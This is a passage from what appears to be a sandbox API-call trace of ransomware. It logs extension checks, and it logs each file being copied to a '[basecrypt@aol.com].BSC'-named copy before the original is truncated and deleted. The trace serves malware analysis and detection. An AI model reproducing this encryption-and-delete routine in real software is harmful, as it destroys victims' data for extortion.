(lpString1=".zip", lpString2=".dll") returned 1 [0102.595] lstrlenW (lpString=".rar") returned 4 [0102.595] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.595] lstrlenW (lpString=".bz2") returned 4 [0102.595] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.595] lstrlenW (lpString=".7z") returned 3 [0102.595] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0102.595] lstrlenW (lpString=".dbf") returned 4 [0102.595] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0102.595] lstrlenW (lpString=".1cd") returned 4 [0102.595] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0102.595] lstrlenW (lpString=".jpg") returned 4 [0102.595] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0102.595] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0102.595] lstrlenW (lpString=".doc") returned 4 [0102.595] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.595] lstrlenW (lpString=".docx") returned 5 [0102.596] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.596] lstrlenW (lpString=".pdf") returned 4 [0102.596] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.596] lstrlenW (lpString=".xls") returned 4 [0102.596] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.596] lstrlenW (lpString=".xlsx") returned 5 [0102.596] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.596] lstrlenW (lpString=".ppt") returned 4 [0102.596] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.596] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0102.596] lstrlenW (lpString=".zip") returned 4 [0102.596] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.596] lstrlenW (lpString=".rar") returned 4 [0102.596] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.596] lstrlenW (lpString=".bz2") returned 4 [0102.596] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.596] lstrlenW (lpString=".7z") returned 3 [0102.596] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.596] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0102.596] lstrlenW (lpString=".dbf") returned 4 [0102.596] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.596] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0102.596] lstrlenW (lpString=".1cd") returned 4 [0102.596] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.596] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\SetupResources.dll") returned 45 [0102.596] lstrlenW (lpString=".jpg") returned 4 [0102.596] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.597] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0102.597] lstrlenW (lpString="SetupResources.dll") returned 18 [0102.597] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0102.597] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=17752) returned 1 [0102.597] CloseHandle (hObject=0x30c) returned 1 [0102.597] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80 [0102.597] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.597] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0102.598] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.598] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.598] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0102.747] GetLastError () returned 0x0 [0102.747] ReadFile (in: hFile=0x30c, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x4558, lpOverlapped=0x0) returned 1 [0102.806] WriteFile (in: hFile=0x354, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0x4560, lpOverlapped=0x0) returned 1 [0102.807] ReadFile (in: hFile=0x30c, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.807] WriteFile (in: hFile=0x354, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0xf8, lpOverlapped=0x0) returned 1 [0102.808] SetEndOfFile (hFile=0x354) returned 1 [0102.808] CloseHandle (hObject=0x354) returned 1 [0102.812] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.812] SetEndOfFile (hFile=0x30c) returned 1 [0102.813] CloseHandle (hObject=0x30c) returned 1 [0102.813] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.813] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 1 [0102.814] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0102.814] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0102.814] lstrlenW (lpString=".doc") returned 4 [0102.814] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.814] lstrlenW (lpString=".docx") returned 5 [0102.814] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.814] lstrlenW (lpString=".pdf") returned 4 [0102.814] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.814] lstrlenW (lpString=".xls") returned 4 [0102.814] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.814] lstrlenW (lpString=".xlsx") returned 5 [0102.814] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.814] lstrlenW (lpString=".ppt") returned 4 [0102.814] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.814] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0102.814] lstrlenW (lpString=".zip") returned 4 [0102.814] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.814] lstrlenW (lpString=".rar") returned 4 [0102.814] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.814] lstrlenW (lpString=".bz2") returned 4 [0102.814] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.814] lstrlenW (lpString=".7z") returned 3 [0102.814] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.814] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0102.814] lstrlenW (lpString=".dbf") returned 4 [0102.814] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.814] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0102.815] lstrlenW (lpString=".1cd") returned 4 [0102.815] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0102.815] lstrlenW (lpString=".jpg") returned 4 [0102.815] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0102.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0102.815] lstrlenW (lpString=".doc") returned 4 [0102.815] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.815] lstrlenW (lpString=".docx") returned 5 [0102.815] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.815] lstrlenW (lpString=".pdf") returned 4 [0102.815] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.815] lstrlenW (lpString=".xls") returned 4 [0102.815] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.815] lstrlenW (lpString=".xlsx") returned 5 [0102.815] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.815] lstrlenW (lpString=".ppt") returned 4 [0102.815] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0102.815] lstrlenW (lpString=".zip") returned 4 [0102.815] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.815] lstrlenW (lpString=".rar") returned 4 [0102.815] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.815] lstrlenW (lpString=".bz2") returned 4 [0102.815] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.815] lstrlenW (lpString=".7z") returned 3 [0102.815] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.815] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0102.816] lstrlenW (lpString=".dbf") returned 4 [0102.816] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0102.816] lstrlenW (lpString=".1cd") returned 4 [0102.816] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.816] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0102.816] lstrlenW (lpString=".jpg") returned 4 [0102.816] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.816] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0102.816] lstrlenW (lpString="SetupResources.dll") returned 18 [0102.816] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0102.816] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=17752) returned 1 [0102.816] CloseHandle (hObject=0x30c) returned 1 [0102.816] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80 [0102.816] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.816] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0102.817] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.817] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.817] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0102.827] GetLastError () returned 0x0 [0102.827] ReadFile (in: hFile=0x30c, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x4558, lpOverlapped=0x0) returned 1 [0102.874] WriteFile (in: hFile=0x314, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0x4560, lpOverlapped=0x0) returned 1 [0102.875] ReadFile (in: hFile=0x30c, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.875] WriteFile (in: hFile=0x314, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0xf8, lpOverlapped=0x0) returned 1 [0102.875] SetEndOfFile (hFile=0x314) returned 1 [0102.875] CloseHandle (hObject=0x314) returned 1 [0102.876] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.876] SetEndOfFile (hFile=0x30c) returned 1 [0102.877] CloseHandle (hObject=0x30c) returned 1 [0102.877] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.877] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 1 [0102.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0102.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0102.878] lstrlenW (lpString=".doc") returned 4 [0102.878] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.878] lstrlenW (lpString=".docx") returned 5 [0102.878] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.878] lstrlenW (lpString=".pdf") returned 4 [0102.878] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.878] lstrlenW (lpString=".xls") returned 4 [0102.878] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.878] lstrlenW (lpString=".xlsx") returned 5 [0102.878] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.878] lstrlenW (lpString=".ppt") returned 4 [0102.878] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.878] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0102.878] lstrlenW (lpString=".zip") returned 4 [0102.878] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.878] lstrlenW (lpString=".rar") returned 4 [0102.878] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.878] lstrlenW (lpString=".bz2") returned 4 [0102.878] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.878] lstrlenW (lpString=".7z") returned 3 [0102.878] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.879] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0102.879] lstrlenW (lpString=".dbf") returned 4 [0102.879] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.879] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0102.879] lstrlenW (lpString=".1cd") returned 4 [0102.879] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.879] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0102.879] lstrlenW (lpString=".jpg") returned 4 [0102.879] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.879] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0102.879] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0102.879] lstrlenW (lpString=".doc") returned 4 [0102.879] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.879] lstrlenW (lpString=".docx") returned 5 [0102.879] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.879] lstrlenW (lpString=".pdf") returned 4 [0102.879] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.879] lstrlenW (lpString=".xls") returned 4 [0102.879] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.879] lstrlenW (lpString=".xlsx") returned 5 [0102.879] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.879] lstrlenW (lpString=".ppt") returned 4 [0102.879] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.879] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0102.880] lstrlenW (lpString=".zip") returned 4 [0102.880] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.880] lstrlenW (lpString=".rar") returned 4 [0102.880] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.880] lstrlenW (lpString=".bz2") returned 4 [0102.880] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.880] lstrlenW (lpString=".7z") returned 3 [0102.880] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0102.880] lstrlenW (lpString=".dbf") returned 4 [0102.880] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0102.880] lstrlenW (lpString=".1cd") returned 4 [0102.880] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.880] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0102.880] lstrlenW (lpString=".jpg") returned 4 [0102.880] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.880] lstrcmpiW (lpString1=".ico", lpString2=".BSC") returned 1 [0102.880] lstrlenW (lpString="DisplayIcon.ico") returned 15 [0102.880] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0102.881] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=88533) returned 1 [0102.881] CloseHandle (hObject=0x30c) returned 1 [0102.881] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 0x80 [0102.881] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.881] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0102.881] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.881] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.881] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0102.881] GetLastError () returned 0x0 [0102.881] ReadFile (in: hFile=0x30c, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x159d5, lpOverlapped=0x0) returned 1 [0102.933] WriteFile (in: hFile=0x314, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0x159e0, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0x159e0, lpOverlapped=0x0) returned 1 [0102.936] ReadFile (in: hFile=0x30c, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.936] WriteFile (in: hFile=0x314, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0xf2, lpOverlapped=0x0) returned 1 [0102.936] SetEndOfFile (hFile=0x314) returned 1 [0102.936] CloseHandle (hObject=0x314) returned 1 [0102.941] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.941] SetEndOfFile (hFile=0x30c) returned 1 [0102.942] CloseHandle (hObject=0x30c) returned 1 [0102.943] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.943] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DisplayIcon.ico" (normalized: "c:\\588bce7c90097ed212\\displayicon.ico")) returned 1 [0102.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.943] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.943] lstrlenW (lpString=".doc") returned 4 [0102.944] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0102.944] lstrlenW (lpString=".docx") returned 5 [0102.944] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0102.944] lstrlenW (lpString=".pdf") returned 4 [0102.944] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0102.944] lstrlenW (lpString=".xls") returned 4 [0102.944] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0102.944] lstrlenW (lpString=".xlsx") returned 5 [0102.944] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0102.944] lstrlenW (lpString=".ppt") returned 4 [0102.944] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0102.944] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.944] lstrlenW (lpString=".zip") returned 4 [0102.944] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0102.944] lstrlenW (lpString=".rar") returned 4 [0102.944] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0102.944] lstrlenW (lpString=".bz2") returned 4 [0102.944] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0102.944] lstrlenW (lpString=".7z") returned 3 [0102.944] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0102.944] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.945] lstrlenW (lpString=".dbf") returned 4 [0102.945] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0102.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.945] lstrlenW (lpString=".1cd") returned 4 [0102.945] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0102.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.945] lstrlenW (lpString=".jpg") returned 4 [0102.945] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0102.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.945] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.945] lstrlenW (lpString=".doc") returned 4 [0102.945] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0102.945] lstrlenW (lpString=".docx") returned 5 [0102.945] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0102.945] lstrlenW (lpString=".pdf") returned 4 [0102.945] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0102.945] lstrlenW (lpString=".xls") returned 4 [0102.945] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0102.945] lstrlenW (lpString=".xlsx") returned 5 [0102.945] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0102.946] lstrlenW (lpString=".ppt") returned 4 [0102.946] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0102.946] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.946] lstrlenW (lpString=".zip") returned 4 [0102.946] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0102.946] lstrlenW (lpString=".rar") returned 4 [0102.946] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0102.946] lstrlenW (lpString=".bz2") returned 4 [0102.946] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0102.946] lstrlenW (lpString=".7z") returned 3 [0102.946] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0102.946] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.946] lstrlenW (lpString=".dbf") returned 4 [0102.946] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0102.946] lstrlenW (lpString="C:\\588bce7c90097ed212\\DisplayIcon.ico") returned 37 [0102.946] lstrlenW (lpString=".1cd") returned 4 [0102.946] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0102.946] lstrlenW 